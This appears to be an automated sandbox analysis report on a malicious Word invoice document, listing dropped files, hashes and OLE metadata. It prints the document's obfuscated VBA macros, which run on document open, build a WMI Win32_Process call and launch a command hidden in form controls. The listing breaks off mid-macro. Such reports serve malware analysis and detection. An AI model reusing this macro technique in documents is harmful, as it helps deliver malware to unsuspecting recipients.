Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
MD5:	BF619EAC0CDF3F68D496EA9344137E8B
SHA1:	5C3EB80066420002BC3DCC7CA4AB6EFAD7ED4AE5
SHA-256:	076A27C79E5ACE2A3D47F9DD2E83E4FF6EA8872B3C2218F66C92B89B55F36560
SHA-512:	DF40D4A774E0B453A5B87C00D6F0EF5D753143454E88EE5F7B607134598294C7905CCBCF94BBC46E474DB6EB44E56A6DBB6D9A1BE9D4FB5D1B5F2D0C6ED34BFE
Malicious:	false
Preview:	................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\~DFAAA31D5F4A1B1B2F.TMP

Download File

Process:	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
File Type:	Composite Document File V2 Document, Cannot read section info
Category:	dropped
Size (bytes):	9728
Entropy (8bit):	3.5003324374730655
Encrypted:	false
SSDEEP:	192:+ALpx9kUlMSWcVdWrPjbpVBKt/hzh7c5vRNAwdq6UicQ2DWl5i:+OpxiUySWcSRVO/h97chcHicQ2DWL
MD5:	3B6BF2E49B8C92085C7E72F1CF422332
SHA1:	046A48AC1248673AA5F5AE5EE53910B488C481DC
SHA-256:	4AC2D5F6BAA0615028B78F7CEA348A7D33156178819C0CCC4DC50A521DCAEC4A
SHA-512:	03A6232D49846C85CF53398C35C304438ACE954997AAFA9987865F778FF8786D0D3DF1B84900A91C1A7065B65225DA44391B3F0CB10F5262243D7F90F6D44134
Malicious:	false
Preview:	......................>...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\~DFD6589A193BC4C172.TMP

Download File

Process:	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
File Type:	Composite Document File V2 Document, Cannot read section info
Category:	dropped
Size (bytes):	1536
Entropy (8bit):	1.1464700112623651
Encrypted:	false
SSDEEP:	3:YmsalTlLPltl2N81HRQjlORGt7RQ//W1XR9//3R9//3R9//:rl912N0xs+CFQXCB9Xh9Xh9X
MD5:	72F5C05B7EA8DD6059BF59F50B22DF33
SHA1:	D5AF52E129E15E3A34772806F6C5FBF132E7408E
SHA-256:	1DC0C8D7304C177AD0E74D3D2F1002EB773F4B180685A7DF6BBE75CCC24B0164
SHA-512:	6FF1E2E6B99BD0A4ED7CA8A9E943551BCD73A0BEFCACE6F1B1106E88595C0846C9BB76CA99A33266FFEC2440CF6A440090F803ABBF28B208A6C7BC6310BEB39E
Malicious:	false
Preview:	......................>...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\~DFF8750E7A0A2DF968.TMP

Download File

Process:	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	512
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
MD5:	BF619EAC0CDF3F68D496EA9344137E8B
SHA1:	5C3EB80066420002BC3DCC7CA4AB6EFAD7ED4AE5
SHA-256:	076A27C79E5ACE2A3D47F9DD2E83E4FF6EA8872B3C2218F66C92B89B55F36560
SHA-512:	DF40D4A774E0B453A5B87C00D6F0EF5D753143454E88EE5F7B607134598294C7905CCBCF94BBC46E474DB6EB44E56A6DBB6D9A1BE9D4FB5D1B5F2D0C6ED34BFE
Malicious:	false
Preview:	................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Microsoft\Forms\INKEDLib.exd

Download File

Process:	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	115588
Entropy (8bit):	4.951590765318803
Encrypted:	false
SSDEEP:	1536:7DQgURfP3uLmO7PTpJNTMf+h2QM1n/+JDoOii/UNxFolBBEPqB4VLH:7KP3kmOf/NTMygn/+5/GMBUq0
MD5:	B6E732A65BDAD5D366D4C0F62C3CB9C5
SHA1:	F88A3FED47CF1AC9BB895FF79D464A3888529835
SHA-256:	D9DEDA2BF34AD45FA2FF76F132E63F3EB3AEA4F0F13DD12A60D5FD285A2B6EC1
SHA-512:	600DD295089FAF0054129B0D61B1A2766AD85F1CED826290C13C00170955D7599A96C400BAACD3FA87292CE3E17C9C4A4DC638A0725CD2D48F25666DA53BD017
Malicious:	false
Preview:	MSFT................Q...........o.......................... ....... ...................d.......,...........X....... ...........L...........x.......@...........l.......4...........`.......(...........T...................H...........t.......<...........h.......0...........\.......$...........P...........\|.......D...........p.......8...........d.......,...........X....... ...........L...........x.......@........ ..l ... ..4!...!...!..`"..."..(#...#...#..T$...$...%...%...%..H&...&...'..t'...'..<(...(...)..h)...)..0............\+..........d3..............X9..L...........D3.. ...........\...................h............9...............;..lZ...............a.......................................................................................................... !..........................................................D....................................... !..................................................,............................................... !........................$.....

C:\Users\user\AppData\Roaming\Microsoft\Office\Recent\INV_PO_12172019EX.LNK

Download File

Process:	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Archive, ctime=Tue Mar 8 15:45:59 2022, mtime=Tue Mar 8 15:45:59 2022, atime=Wed Feb 8 01:13:17 2023, length=189952, window=hide
Category:	dropped
Size (bytes):	1049
Entropy (8bit):	4.546704366097275
Encrypted:	false
SSDEEP:	24:8GdMdk/XT89dqQlikIIK/retigkIIK5Dv3qEu7D:8O/XTkhizp6zaE0D
MD5:	6A947D3CBF076D416F2D48F2533139F1
SHA1:	77E8B65317A9733473D9C03DB08ED956A4DCBDB0
SHA-256:	5DA8224BC3329298673EDFAEAEE6C66CF25B084F0765D2EA739E0A3B114BE0B3
SHA-512:	48877D4C028EFDC7BCC4E000C50FCE9A00FBB7A6F2233698BE4D2DF865097E8056B9D13069D6A526A0821F81CB7B206BBE790B103D101A6D0592CBB7440DE72B
Malicious:	false
Preview:	L..................F.... ...2=i..3..2=i..3...]..b;...............................P.O. .:i.....+00.../C:\...................t.1.....QK.X..Users.`.......:..QK.X...................6.....U.s.e.r.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.8.1.3.....L.1.....hT....user.8......QK.XhT.....&=....U...............A.l.b.u.s.....z.1.....hT...Desktop.d......QK.XhT...._=..............:.....D.e.s.k.t.o.p...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.6.9.....t.2.....HV.. .INV_PO~1.DOC..X......hT..hT.....r.....'...............I.N.V._.P.O._.1.2.1.7.2.0.1.9.E.X...d.o.c.......................-...8...[............?J......C:\Users\..#...................\\093954\Users.user\Desktop\INV_PO_12172019EX.doc.,.....\.....\.....\.....\.....\.D.e.s.k.t.o.p.\.I.N.V._.P.O._.1.2.1.7.2.0.1.9.E.X...d.o.c.........:..,.LB.)...Ag...............1SPS.XF.L8C....&.m.m............-...S.-.1.-.5.-.2.1.-.9.6.6.7.7.1.3.1.5.-.3.0.1.9.4.0.5.6.3.7.-.3.6.7.3.3.6.4.7.7.-.1.0.0.6.............`.......X.......093954..........D_....3N...W...9G..

C:\Users\user\AppData\Roaming\Microsoft\Office\Recent\index.dat

Download File

Process:	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
File Type:	Generic INItialization configuration [doc]
Category:	dropped
Size (bytes):	85
Entropy (8bit):	4.883240648927214
Encrypted:	false
SSDEEP:	3:bDuMJl0eq8GgLFomX1Kz61q8GgLFov:bC2ggLFiz61ggLFy
MD5:	7AA28BB4ED2C12561AB9348E324D1F06
SHA1:	75A42F9AFF6AA1B0831B449F7B659A9114DFB9AE
SHA-256:	832F210041FC9C8554018D869A63A8D9114C9A11DA3219238E266CB4D0A57CCA
SHA-512:	5F92ABA58A409ACB9F9D479899D9EF5F01CD6C7C4B4F7241A8168BB5EF95ABB54DE8978BD7587F545977E03CAEBA9CB81831996B17098EB8675A53EB373306AB
Malicious:	false
Preview:	[folders]..Templates.LNK=0..INV_PO_12172019EX.LNK=0..[doc]..INV_PO_12172019EX.LNK=0..

C:\Users\user\AppData\Roaming\Microsoft\Templates\~$Normal.dotm

Download File

Process:	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	162
Entropy (8bit):	2.503835550707525
Encrypted:	false
SSDEEP:	3:vrJlaCkWtVyHH/cgQfmW+eMdln:vdsCkWtUb+8ll
MD5:	D9C8F93ADB8834E5883B5A8AAAC0D8D9
SHA1:	23684CCAA587C442181A92E722E15A685B2407B1
SHA-256:	116394FEAB201D23FD7A4D7F6B10669A4CBCE69AF3575D9C1E13E735D512FA11
SHA-512:	7742E1AC50ACB3B794905CFAE973FDBF16560A7B580B5CD6F27FEFE1CB3EF4AEC2538963535493DCC25F8F114E8708050EDF5F7D3D146DF47DA4B958F0526515
Malicious:	false
Preview:	.user..................................................A.l.b.u.s.............p........15..............25.............@35..............35.....z.......p45.....x...

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms (copy)

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	8016
Entropy (8bit):	3.583147657409058
Encrypted:	false
SSDEEP:	96:chQCNAPXMqIqvsqvJCwoSz8hQCNAPXMqIqvsEHyqvJCworkzsKPrY1HFyuyrBKPW:cofRoSz8ofJHnorkzsKud+BKojp
MD5:	292F304870BE5532F0EF707A59FD2F19
SHA1:	FD7EF902B0E44F4E7187B34156CC61D56A25E7F8
SHA-256:	2F7EE2660521FC2D367CE89E05FC58728EC17635DB254A51AF980DA54E9BFE46
SHA-512:	57270A0CACF1929380EDCBF2691D2C521F0A9948ECE43C36090F7D2B08F1A2F102AB812AA31A04776BB59CB446B36CD7D852A4561A398CEBBAC4910AF2582DED
Malicious:	false
Preview:	...................................FL..................F.".. .....8.D...xq.{D...xq.{D...k............................P.O. .:i.....+00.../C:\...................\.1.....{J.\. PROGRA~3..D.......:..{J.\...k.....................P.r.o.g.r.a.m.D.a.t.a.....X.1.....~J\|v. MICROS~1..@.......:..~J\|v...l.....................M.i.c.r.o.s.o.f.t.....R.1.....wJ;.. Windows.<.......:..wJ;..........................W.i.n.d.o.w.s.......1......:((..STARTM~1..j.......:...:((...................@.....S.t.a.r.t. .M.e.n.u...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.6.....~.1.....hT....Programs..f.......:..hT.....................<.....P.r.o.g.r.a.m.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.2.......1.....xJu=..ACCESS~1..l.......:..wJr....................B.....A.c.c.e.s.s.o.r.i.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.6.1.....j.1......:''..WINDOW~1..R.......:.,.:''.........................W.i.n.d.o.w.s. .P.o.w.e.r.S.h.e.l.l.....v.2.k....:., .WINDOW~2.LNK..Z.......:.,.:.,....=....................W.i.n.d.o.w.s.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\LDV95WB5GH1Q7ECQYL9V.temp

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	8016
Entropy (8bit):	3.583147657409058
Encrypted:	false
SSDEEP:	96:chQCNAPXMqIqvsqvJCwoSz8hQCNAPXMqIqvsEHyqvJCworkzsKPrY1HFyuyrBKPW:cofRoSz8ofJHnorkzsKud+BKojp
MD5:	292F304870BE5532F0EF707A59FD2F19
SHA1:	FD7EF902B0E44F4E7187B34156CC61D56A25E7F8
SHA-256:	2F7EE2660521FC2D367CE89E05FC58728EC17635DB254A51AF980DA54E9BFE46
SHA-512:	57270A0CACF1929380EDCBF2691D2C521F0A9948ECE43C36090F7D2B08F1A2F102AB812AA31A04776BB59CB446B36CD7D852A4561A398CEBBAC4910AF2582DED
Malicious:	false
Preview:	...................................FL..................F.".. .....8.D...xq.{D...xq.{D...k............................P.O. .:i.....+00.../C:\...................\.1.....{J.\. PROGRA~3..D.......:..{J.\...k.....................P.r.o.g.r.a.m.D.a.t.a.....X.1.....~J\|v. MICROS~1..@.......:..~J\|v...l.....................M.i.c.r.o.s.o.f.t.....R.1.....wJ;.. Windows.<.......:..wJ;..........................W.i.n.d.o.w.s.......1......:((..STARTM~1..j.......:...:((...................@.....S.t.a.r.t. .M.e.n.u...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.6.....~.1.....hT....Programs..f.......:..hT.....................<.....P.r.o.g.r.a.m.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.2.......1.....xJu=..ACCESS~1..l.......:..wJr....................B.....A.c.c.e.s.s.o.r.i.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.6.1.....j.1......:''..WINDOW~1..R.......:.,.:''.........................W.i.n.d.o.w.s. .P.o.w.e.r.S.h.e.l.l.....v.2.k....:., .WINDOW~2.LNK..Z.......:.,.:.,....=....................W.i.n.d.o.w.s.

C:\Users\user\Desktop\~$V_PO_12172019EX.doc

Download File

Process:	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	162
Entropy (8bit):	2.503835550707525
Encrypted:	false
SSDEEP:	3:vrJlaCkWtVyHH/cgQfmW+eMdln:vdsCkWtUb+8ll
MD5:	D9C8F93ADB8834E5883B5A8AAAC0D8D9
SHA1:	23684CCAA587C442181A92E722E15A685B2407B1
SHA-256:	116394FEAB201D23FD7A4D7F6B10669A4CBCE69AF3575D9C1E13E735D512FA11
SHA-512:	7742E1AC50ACB3B794905CFAE973FDBF16560A7B580B5CD6F27FEFE1CB3EF4AEC2538963535493DCC25F8F114E8708050EDF5F7D3D146DF47DA4B958F0526515
Malicious:	false
Preview:	.user..................................................A.l.b.u.s.............p........15..............25.............@35..............35.....z.......p45.....x...

Static File Info

General

File type:	Composite Document File V2 Document, Little Endian, Os: Windows, Version 6.1, Code page: 1252, Title: Molestiae., Author: Paul Gauthier, Template: Normal.dotm, Revision Number: 1, Name of Creating Application: Microsoft Office Word, Create Time/Date: Tue Dec 17 19:30:00 2019, Last Saved Time/Date: Tue Dec 17 19:30:00 2019, Number of Pages: 1, Number of Words: 5, Number of Characters: 34, Security: 0
Entropy (8bit):	6.586615503838857
TrID:	Microsoft Word document (32009/1) 54.23% Microsoft Word document (old ver.) (19008/1) 32.20% Generic OLE2 / Multistream Compound File (8008/1) 13.57%
File name:	INV_PO_12172019EX.doc
File size:	188839
MD5:	3b7fa78ebf399bb0230590bfec589fa7
SHA1:	199d4646fdbf9b5167d80ed71ce0ea406c40b018
SHA256:	5c2dc72128d235ecdca49e4026ec782cdce9021c5b46ebf841000bab5ebcc129
SHA512:	c1936fad69a8231b5e39f8a757d469af2487c3f40944ce9b20094d2924510f6fff341ae7123cc179bd8419a68ed28ba4b0dd4c500b9d6cccd6339d23c8c480af
SSDEEP:	3072:752y/GdynktGDWLS0HZWD5w8K7Nk9uD7IBUOUasgt+PpkkrbfzHQfzZExXMHIwtN:752k43tGiL3HJk9uD7bOUasFPpkkrbfE
TLSH:	CE04AE0435C1BD8BEF9612314BCBEFBA2218BC952D59D25B7249B73D6F304A0D992B21
File Content Preview:	........................>.......................................................N..............................................................................................................................................................................

File Icon


Icon Hash:	e4eea2aaa4b4b4a4

Static OLE Info

General

Document Type:	OLE
Number of OLE Files:	1

OLE File "INV_PO_12172019EX.doc"

Indicators

Has Summary Info:
Application Name:	Microsoft Office Word
Encrypted Document:	False
Contains Word Document Stream:	True
Contains Workbook/Book Stream:	False
Contains PowerPoint Document Stream:	False
Contains Visio Document Stream:	False
Contains ObjectPool Stream:	True
Flash Objects Count:	0
Contains VBA Macros:	True

Summary

Code Page:	1252
Title:
Subject:
Author:
Keywords:
Comments:
Template:
Last Saved By:
Revion Number:	1
Total Edit Time:	0
Create Time:	2019-12-17 19:30:00
Last Saved Time:	2019-12-17 19:30:00
Number of Pages:	1
Number of Words:	5
Number of Characters:	34
Creating Application:
Security:	0

Document Summary

Document Code Page:	1252
Number of Lines:	1
Number of Paragraphs:	1
Thumbnail Scaling Desired:	False
Company:
Contains Dirty Links:	False
Shared Document:	False
Changed Hyperlinks:	False
Application Version:	1048576

Streams with VBA

VBA File Name: Bnzailenjg.bas, Stream Size: 10499

General
Stream Path:	Macros/VBA/Bnzailenjg
VBA File Name:	Bnzailenjg.bas
Stream Size:	10499
Data ASCII:	. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 9 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . x . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . M E . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . @ . . . . . . . . . . . . . . . . . . . . . Q . Q . . . . . . . . . . ~ . . .
Data Raw:	01 16 01 00 01 f0 00 00 00 ac 02 00 00 d4 00 00 00 88 01 00 00 ff ff ff ff b3 02 00 00 af 1c 00 00 00 00 00 00 01 00 00 00 39 9e e5 de 00 00 ff ff 03 00 00 00 00 00 00 00 b6 00 ff ff 01 01 00 00 00 00 ff ff ff ff 00 00 00 00 ff ff ff ff ff ff 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

VBA Code

Attribute VB_Name = "Bnzailenjg"
Function Eigrhutqjn()
   For Bsbdlhis = Dhlehfaylilou To Gpaasmxic
         Qiowmwhya = Kozvbiuqn
         Zfrhsjmgyjq = Rjpwogvjgyf
Next
Select Case Wkpolajz
         Case 726
            kyQno = CSng(1 * 3 - 9 / Hex(nVfie2Dr3))
            DnSM931 = CDate(Uzpcb0lU * CDate(1 / ilGM))
            cCy = 98693360
         Case 7172
            Dkm = CStr(4 - Oct(ZOa) * 33 * CByte(6 + Hex(JDvXr)))
            svo = 6
            Yqm = VGG
         Case 423356465
End Select
Qslrgyfj = Vidpgeil.Lxijupngv
   For Ivuovixrwrgx = Msyfxuxaniqvn To Wqklqchum
         Ydwqavbwesi = Hwiimxav
         Zbwlgufymw = Tdwhvtqvmouid
Next
Select Case Zioivbrwpejv
         Case 726
            kyQno = CSng(1 * 3 - 9 / Hex(nVfie2Dr3))
            DnSM931 = CDate(Uzpcb0lU * CDate(1 / ilGM))
            cCy = 98693360
         Case 7172
            Dkm = CStr(4 - Oct(ZOa) * 33 * CByte(6 + Hex(JDvXr)))
            svo = 6
            Yqm = VGG
         Case 423356465
End Select
Yfhlbpnosn = Qslrgyfj + Fbkxcpydi.Cejfehsiqdp + Fbkxcpydi.Miwnattqddm + Fbkxcpydi.Sauuakhgbazqj
   For Nuukwwmkpo = Tkdcprhcwsa To Ryqmmoarox
         Qaioftbbuzawn = Kknutyafyvyc
         Vfmogzqz = Zzupryuygtqh
Next
Select Case Uxpvksgq
         Case 726
            kyQno = CSng(1 * 3 - 9 / Hex(nVfie2Dr3))
            DnSM931 = CDate(Uzpcb0lU * CDate(1 / ilGM))
            cCy = 98693360
         Case 7172
            Dkm = CStr(4 - Oct(ZOa) * 33 * CByte(6 + Hex(JDvXr)))
            svo = 6
            Yqm = VGG
         Case 423356465
End Select
Frkvgeyph = Yfhlbpnosn + Fbkxcpydi.Evrezirnfj + Fbkxcpydi.Gpxjleht
   For Meceodkgh = Sbehhsuenjruc To Ddgoaukryszhy
         Oihppvmawiiob = Jafszgztgeik
         Hlwmqvjmmja = Kfsgjuei
Next
Select Case Fspopblg
         Case 726
            kyQno = CSng(1 * 3 - 9 / Hex(nVfie2Dr3))
            DnSM931 = CDate(Uzpcb0lU * CDate(1 / ilGM))
            cCy = 98693360
         Case 7172
            Dkm = CStr(4 - Oct(ZOa) * 33 * CByte(6 + Hex(JDvXr)))
            svo = 6
            Yqm = VGG
         Case 423356465
End Select
Eigrhutqjn = Pytrclosnl + Frkvgeyph + Pytrclosnl
   For Wcbjqhtynuwg = Smvqxcaznnl To Tgtivukim
         Snxmyxeracpuy = Gtxooyrb
         Umalbhfsxxkf = Pitydelv
Next
Select Case Orlyfablxuel
         Case 726
            kyQno = CSng(1 * 3 - 9 / Hex(nVfie2Dr3))
            DnSM931 = CDate(Uzpcb0lU * CDate(1 / ilGM))
            cCy = 98693360
         Case 7172
            Dkm = CStr(4 - Oct(ZOa) * 33 * CByte(6 + Hex(JDvXr)))
            svo = 6
            Yqm = VGG
         Case 423356465
End Select
End Function
Function Hdzaptpn()
   For Ihnamkffpgedm = Vqxltzlfyer To Rbxxzopv
         Ciohmown = Kbocqqax
         Vvkfnoihexv = Mvcfrzrcrlvq
Next
Select Case Vhiortlihxi
         Case 726
            kyQno = CSng(1 * 3 - 9 / Hex(nVfie2Dr3))
            DnSM931 = CDate(Uzpcb0lU * CDate(1 / ilGM))
            cCy = 98693360
         Case 7172
            Dkm = CStr(4 - Oct(ZOa) * 33 * CByte(6 + Hex(JDvXr)))
            svo = 6
            Yqm = VGG
         Case 423356465
End Select
XXXXX = "i3j3j3g4"
Puwmfwvgsh = Join(Split("wii3j3j3g4nmi3j3j3g4gm" + "i3j3j3g4ts:i3j3j3g4Wini3j3j3g432i3j3j3g4_i3j3j3g4", XXXXX), "") + Vidpgeil.Lxijupngv + "rocess"
   For Ycjskzqwc = Ryveimmmv To Xxjbjqhffg
         Oxuvmzclmf = Zzbtbcdbs
         Mjjpzowxz = Ghnqzntawrg
Next
Select Case Kpoedcur
         Case 726
            kyQno = CSng(1 * 3 - 9 / Hex(nVfie2Dr3))
            DnSM931 = CDate(Uzpcb0lU * CDate(1 / ilGM))
            cCy = 98693360
         Case 7172
            Dkm = CStr(4 - Oct(ZOa) * 33 * CByte(6 + Hex(JDvXr)))
            svo = 6
            Yqm = VGG
         Case 423356465
End Select
Set Xrzyfwhkn = VBA.CreateObject(Puwmfwvgsh)
   For Mcqsrnqrzul = Ajczaaygkwufa To Inszulucmme
         Fxsjutkw = Hmsibgvmr
         Ilclvkgg = Vkwbmellgw
Next
Select Case Glnccswqzm
         Case 726
            kyQno = CSng(1 * 3 - 9 / Hex(nVfie2Dr3))
            DnSM931 = CDate(Uzpcb0lU * CDate(1 / ilGM))
            cCy = 98693360
         Case 7172
            Dkm = CStr(4 - Oct(ZOa) * 33 * CByte(6 + Hex(JDvXr)))
            svo = 6
            Yqm = VGG
         Case 423356465
End Select
Zirkxcgp = Puwmfwvgsh + Fbkxcpydi.Pddkwvoiewnl.ControlTipText + Fbkxcpydi.Zbxjgpsnwceeh.ControlTipText
   For Rgtsrnnljp = Hbfgtpohxbw To Xjguphjkp
         Eohmsoiqmt = Uvuyihoq
         Ntdgrthldstub = Cojtgjldj
Next
Select Case Vjacarahboimw
         Case 726
            kyQno = CSng(1 * 3 - 9 / Hex(nVfie2Dr3))
            DnSM931 = CDate(Uzpcb0lU * CDate(1 / ilGM))
            cCy = 98693360
         Case 7172
            Dkm = CStr(4 - Oct(ZOa) * 33 * CByte(6 + Hex(JDvXr)))
            svo = 6
            Yqm = VGG
         Case 423356465
End Select
Ofckqrhdzf = Zirkxcgp + Vidpgeil.Lxijupngv
   For Rgmsgrrxiwa = Fjiomrhsyhgu To Scbroslxl
         Ezwmviygfigje = Yusygxmkyuh
         Mhhxqqirkg = Hooylswyaurfn
Next
Select Case Rpyrocnt
         Case 726
            kyQno = CSng(1 * 3 - 9 / Hex(nVfie2Dr3))
            DnSM931 = CDate(Uzpcb0lU * CDate(1 / ilGM))
            cCy = 98693360
         Case 7172
            Dkm = CStr(4 - Oct(ZOa) * 33 * CByte(6 + Hex(JDvXr)))
            svo = 6
            Yqm = VGG
         Case 423356465
End Select
Set Hdzaptpn = CreateObject(Ofckqrhdzf)
   For Mwtyxzazjbs = Aemktmeeol To Lpcndbwq
         Buawsazrbl = Nepratgixljvm
         Lgzvcqpdsjxtd = Kxhncxylbdjko
Next
Select Case Fjicnlbpth
         Case 726
            kyQno = CSng(1 * 3 - 9 / Hex(nVfie2Dr3))
            DnSM931 = CDate(Uzpcb0lU * CDate(1 / ilGM))
            cCy = 98693360
         Case 7172
            Dkm = CStr(4 - Oct(ZOa) * 33 * CByte(6 + Hex(JDvXr)))
            svo = 6
            Yqm = VGG
         Case 423356465
End Select
Hdzaptpn.XSize = False
   For Suglmehjlaipe = Xuqqxxoacjodj To Qlecsulsn
         Uapryhanapwn = Etdcybyv
         Xkcffmcdbb = Klkgcvnqtxs
Next
Select Case Ahpomxzuftn
         Case 726
            kyQno = CSng(1 * 3 - 9 / Hex(nVfie2Dr3))
            DnSM931 = CDate(Uzpcb0lU * CDate(1 / ilGM))
            cCy = 98693360
         Case 7172
            Dkm = CStr(4 - Oct(ZOa) * 33 * CByte(6 + Hex(JDvXr)))
            svo = 6
            Yqm = VGG
         Case 423356465
End Select
Hdzaptpn.YSize = False
   For Mposbjmnqxby = Qewobgzoo To Wfjtyflbi
         Lmvwikmdttlh = Taivvybkn
         Ctsspxxq = Jsfypbkkllys
Next
Select Case Ecgntsbzq
         Case 726
            kyQno = CSng(1 * 3 - 9 / Hex(nVfie2Dr3))
            DnSM931 = CDate(Uzpcb0lU * CDate(1 / ilGM))
            cCy = 98693360
         Case 7172
            Dkm = CStr(4 - Oct(ZOa) * 33 * CByte(6 + Hex(JDvXr)))
            svo = 6
            Yqm = VGG
         Case 423356465
End Select
Do While Xrzyfwhkn.Create(PPPP & Eigrhutqjn, Gugdxpmf, Hdzaptpn, Jlgngwawaqxh)
Loop
   For Nhdaapnezwo = Qlunecws To Zhkildoic
         Cwasrhlbr = Oqcazkifvxfd
         Qgbalnmltnou = Vkqrwhstgld
Next
Select Case Wtjxtwaa
         Case 726
            kyQno = CSng(1 * 3 - 9 / Hex(nVfie2Dr3))
            DnSM931 = CDate(Uzpcb0lU * CDate(1 / ilGM))
            cCy = 98693360
         Case 7172
            Dkm = CStr(4 - Oct(ZOa) * 33 * CByte(6 + Hex(JDvXr)))
            svo = 6
            Yqm = VGG
         Case 423356465
End Select
End Function

VBA File Name: Fbkxcpydi.frm, Stream Size: 1168

General
Stream Path:	Macros/VBA/Fbkxcpydi
VBA File Name:	Fbkxcpydi.frm
Stream Size:	1168
Data ASCII:	. . . . . . . . H . . . . . . L . . . O . . . . . . . . . . . . . . 9 Z . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . x . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . M E . . . . . . . . . . . . . . . . . . . . . ( . . . . . S P . . . . S . . . . . S . . . . . S . . . . . . . . . . . . 0 . { . 6 . 1 . 6 . 0 . 8 . F . F . 3 . - . A
Data Raw:	01 16 01 00 01 f0 00 00 00 48 03 00 00 d4 00 00 00 4c 02 00 00 ff ff ff ff 4f 03 00 00 a3 03 00 00 00 00 00 00 01 00 00 00 39 9e 94 5a 00 00 ff ff 01 00 00 00 88 00 00 00 b6 00 ff ff 01 01 00 00 00 00 ff ff ff ff 00 00 00 00 ff ff ff ff ff ff 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

VBA Code

Attribute VB_Name = "Fbkxcpydi"
Attribute VB_Base = "0{61608FF3-A1FE-4B72-A38B-620C68AAECBB}{C74E457D-497C-471F-84DB-0183F84210C9}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

VBA File Name: Vidpgeil.cls, Stream Size: 3353

General
Stream Path:	Macros/VBA/Vidpgeil
VBA File Name:	Vidpgeil.cls
Stream Size:	3353
Data ASCII:	. . . . . % . . . . . . . . . . 7 . . . " . . . < . . . . . . . . . . . . . . 9 . . . . . . . . . . . . . . . . . . . D . . . z . Z F . . x . J . 2 X E ; . < . h . . . . . . . . . . . . . . . . . . . . . + + . O 3 J < . . . . . . . . . . . . . . . . . . . . . . . . x . . . . . ! . L x i j u p n g v , 0 , 0 , M S F o r m s , T e x t B o x . + + . O 3 J < . . z . Z F . . x . . . . M E . . . . . . . . . . . . . . . . . . . . . . . P . . . . . S " . . . . S . . . . . S " . . . . s . . . . . 6 " . .
Data Raw:	01 16 01 00 06 25 01 00 00 db 03 00 00 09 01 00 00 37 02 00 00 22 04 00 00 3c 04 00 00 b8 09 00 00 01 00 00 00 01 00 00 00 39 9e da f0 00 00 ff ff e3 01 00 00 88 00 00 00 b6 00 ff ff 01 01 00 00 00 00 ff ff ff ff 00 00 00 00 ff ff 44 00 ff ff 00 00 7a ba d8 fb c3 16 5a 46 b3 f4 04 94 0b c9 78 ec 0f 4a 83 11 32 58 fa 45 92 3b d9 ac 3c 1b 68 18 00 00 00 00 00 00 00 00 00 00 00 00 00

VBA Code

Attribute VB_Name = "Vidpgeil"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Attribute VB_Control = "Lxijupngv, 0, 0, MSForms, TextBox"
Private Sub Document_open()
   For Nfcmzbootohq = Onvjmhztum To Onlefmhjnifep
         Sweudfnzpv = Msukpnbmacoiv
         Zfhrtwugwq = Saowjipursyqq
Next
Select Case Lpivyuvn
         Case 726
            kyQno = CSng(1 * 3 - 9 / Hex(nVfie2Dr3))
